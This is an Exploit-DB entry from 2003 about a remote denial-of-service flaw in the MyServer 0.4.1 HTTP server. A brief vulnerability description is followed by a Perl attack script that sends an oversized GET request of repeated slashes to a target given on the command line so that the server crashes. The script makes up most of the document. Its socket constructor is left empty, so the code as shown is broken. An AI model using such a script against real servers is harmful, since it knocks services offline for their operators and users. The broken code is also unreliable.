MyServer 0.4.1 - Remote Denial of Service Vulnerability

ID EDB-ID:22817
Type exploitdb
Reporter eip
Modified 2003-06-23T00:00:00


MyServer 0.4.1 Remote Denial Of Service Vulnerability. Dos exploit for windows platform


MyServer HTTP server has been reported prone to a remote denial of service attack.

The issue presents itself, likely due to a lack of sufficient bounds checking, performed on arguments that are supplied via malicious HTTP GET requests. It has been reported that a remote attacker may invoke a malicious HTTP GET request containing excessive data, that will supposedly trigger a segmentation fault in the server executable and the software will fail. 


#Myserver 0.4.1 Remote Denial of service ;)
#oh joy...
#deadbeat, uk2sec

use IO::Socket;
$dos = "//"x100;
$request = "GET $dos"."HTTP/1.0\r\n\r\n";

$target = $ARGV[0];

print "\n\nMyserver 0.4.1 Remote Denial Of Service..\n";
print "deadbeat, uk2sec..\n";
print "usage: perl $0 <target>\n";
$sox = IO::Socket::INET->new(
)or die "\nCan't connect to $target..\n";
print $sox $request;
sleep 2;
close $sox;
print "Done...\n";